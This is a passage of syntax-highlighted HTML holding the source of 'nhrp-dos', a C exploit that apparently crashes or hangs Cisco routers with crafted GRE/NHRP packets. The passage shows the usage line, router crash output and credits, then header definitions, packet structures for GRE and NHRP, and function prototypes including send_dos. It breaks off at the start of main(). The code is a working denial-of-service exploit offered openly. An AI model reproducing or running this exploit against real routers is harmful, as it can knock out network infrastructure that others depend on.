style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* Example:                                                                   */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* root@elxsi# ./nhrp-dos vr0 x.x.x.x 123456789                               */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*                                                                            */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* Router console output:                                                     */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*                                                                            */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* -Traceback= 605D89A0 605D6B50 605BD974 605C08CC 605C2598 605C27E8          */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* $0 : 00000000, AT : 62530000, v0 : 62740000, v1 : 62740000                 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* \u0026lt;snip\u0026gt;                                                                     */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* EPC : 605D89A0, ErrorEPC : BFC01654, SREG : 3400FF03                       */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* Cause 00000024 (Code 0x9): Breakpoint exception                            */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*                                                                            */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* Writing crashinfo to bootflash:crashinfo_20070321-155011                   */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* === Flushing messages (16:50:12 CET Wed Mar 21 2007) ===                   */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*                                                                            */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* Router reboots or sometimes hangs ;)                                       */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*                                                                            */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*                                                                            */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* Workaround: Disable NHRP ;)                                                */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*                                                                            */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* I\u0026#39;d like to thank the Cisco PSIRT and Clay Seaman-Kossmey for their help   */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* regarding this issue.                                                      */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*                                                                            */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* Greetings fly to: sky, chilli, arbon, ripp, huega, gh0st, argonius, s0uls, */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*                   xhr, bullet, nanoc, spekul, kaner, d, slobo, conny, H-Ra */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*                   and #infiniteVOID                                        */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*                                                                            */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/******************************************************************************/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;string.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;unistd.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;netdb.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;arpa/inet.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;sys/socket.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;sys/ioctl.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;net/if.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;netinet/in.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;netinet/in_systm.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;netinet/ip.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* BSD */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#define _BSD\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* Header sizes */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#define IP_HDR_SIZE     20\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#define GRE_HDR_SIZE    4\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#define GRE_KEY_SIZE    4\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#define NHRP_HDR_SIZE   62\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* Function prototypes */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eopen_socket\u003c/span\u003e (\u003cspan style=\"color:#66d9ef\"\u003evoid\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eclose_socket\u003c/span\u003e (\u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003esend_dos\u003c/span\u003e(\u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e, \u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003elong\u003c/span\u003e, \u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003elong\u003c/span\u003e, \u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003elong\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003elong\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eresolve_ip\u003c/span\u003e (\u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003elong\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eget_int_ipv4\u003c/span\u003e (\u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* Globals */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e sockfd;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e nhrp_req_id;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* GRE header */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003estruct\u003c/span\u003e gre_h {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eshort\u003c/span\u003e flags;   \u003cspan style=\"color:#75715e\"\u003e/* GRE flags */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eshort\u003c/span\u003e ptype;   \u003cspan style=\"color:#75715e\"\u003e/* GRE protocol type */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e   key;     \u003cspan style=\"color:#75715e\"\u003e/* GRE key */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e};\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* NHRP header */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003estruct\u003c/span\u003e nhrp_h {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* NHRP fixed header (20 bytes) */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003estruct\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eshort\u003c/span\u003e afn;             \u003cspan style=\"color:#75715e\"\u003e/* NHRP AFN */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eshort\u003c/span\u003e proto;           \u003cspan style=\"color:#75715e\"\u003e/* NHRP protocol type */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e   snap;            \u003cspan style=\"color:#75715e\"\u003e/* NHRP SNAP */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eshort\u003c/span\u003e snapE:\u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e;         \u003cspan style=\"color:#75715e\"\u003e/* NHRP SNAP */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eshort\u003c/span\u003e hops:\u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e;          \u003cspan style=\"color:#75715e\"\u003e/* NHRP hop count */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eshort\u003c/span\u003e length;          \u003cspan style=\"color:#75715e\"\u003e/* NHRP total length */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eshort\u003c/span\u003e checksum;        \u003cspan style=\"color:#75715e\"\u003e/* NHRP checksum */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eshort\u003c/span\u003e mpoa_ext;        \u003cspan style=\"color:#75715e\"\u003e/* NHRP MPOA extensions */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eshort\u003c/span\u003e version:\u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e;       \u003cspan style=\"color:#75715e\"\u003e/* NHRP version */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eshort\u003c/span\u003e type:\u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e;          \u003cspan style=\"color:#75715e\"\u003e/* NHRP type */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eshort\u003c/span\u003e nbma_addr:\u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e;     \u003cspan style=\"color:#75715e\"\u003e/* NHRP t/l of NBMA address */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eshort\u003c/span\u003e nbma_sub:\u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e;      \u003cspan style=\"color:#75715e\"\u003e/* NHRP t/l of NBMA subaddr */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e} fixed;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* NHRP mandatory part */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003estruct\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eshort\u003c/span\u003e src_len:\u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e;       \u003cspan style=\"color:#75715e\"\u003e/* NHRP src protocol length */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eshort\u003c/span\u003e dst_len:\u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e;       \u003cspan style=\"color:#75715e\"\u003e/* NHRP dest protocol length */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eshort\u003c/span\u003e flags;           \u003cspan style=\"color:#75715e\"\u003e/* NHRP flags */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e   request_id;      \u003cspan style=\"color:#75715e\"\u003e/* NHRP request ID */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003elong\u003c/span\u003e  client_nbma;     \u003cspan style=\"color:#75715e\"\u003e/* NHRP client NBMA address */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003elong\u003c/span\u003e  client_nbma_sub; \u003cspan style=\"color:#75715e\"\u003e/* NHRP client NBMA subaddr */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003elong\u003c/span\u003e  client_pro_addr; \u003cspan style=\"color:#75715e\"\u003e/* NHRP client protocol addr */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e} mand;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* NHRP client information entries (CIE) */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunion\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003estruct\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eshort\u003c/span\u003e code:\u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e;          \u003cspan style=\"color:#75715e\"\u003e/* NHRP code */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eshort\u003c/span\u003e pref_len:\u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e;      \u003cspan style=\"color:#75715e\"\u003e/* NHRP prefix length */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eshort\u003c/span\u003e reserved;        \u003cspan style=\"color:#75715e\"\u003e/* NHRP reserved */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eshort\u003c/span\u003e mtu;             \u003cspan style=\"color:#75715e\"\u003e/* NHRP MTU */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eshort\u003c/span\u003e holding_time;    \u003cspan style=\"color:#75715e\"\u003e/* NHRP holding time */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eshort\u003c/span\u003e len_client:\u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e;    \u003cspan style=\"color:#75715e\"\u003e/* NHRP t/l cl addr */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eshort\u003c/span\u003e len_client_sub:\u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e;\u003cspan style=\"color:#75715e\"\u003e/* NHRP t/l cl sub */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eshort\u003c/span\u003e len_client_pro:\u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e;\u003cspan style=\"color:#75715e\"\u003e/* NHRP t/l cl pro */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eshort\u003c/span\u003e preference:\u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e;    \u003cspan style=\"color:#75715e\"\u003e/* NHRP preference */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eshort\u003c/span\u003e ext;             \u003cspan style=\"color:#75715e\"\u003e/* NHRP extension */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e} cie;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e};\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e};\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* Main function */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003emain\u003c/span\u003e (\u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e argc, \u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e**\u003c/span\u003eargv) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan 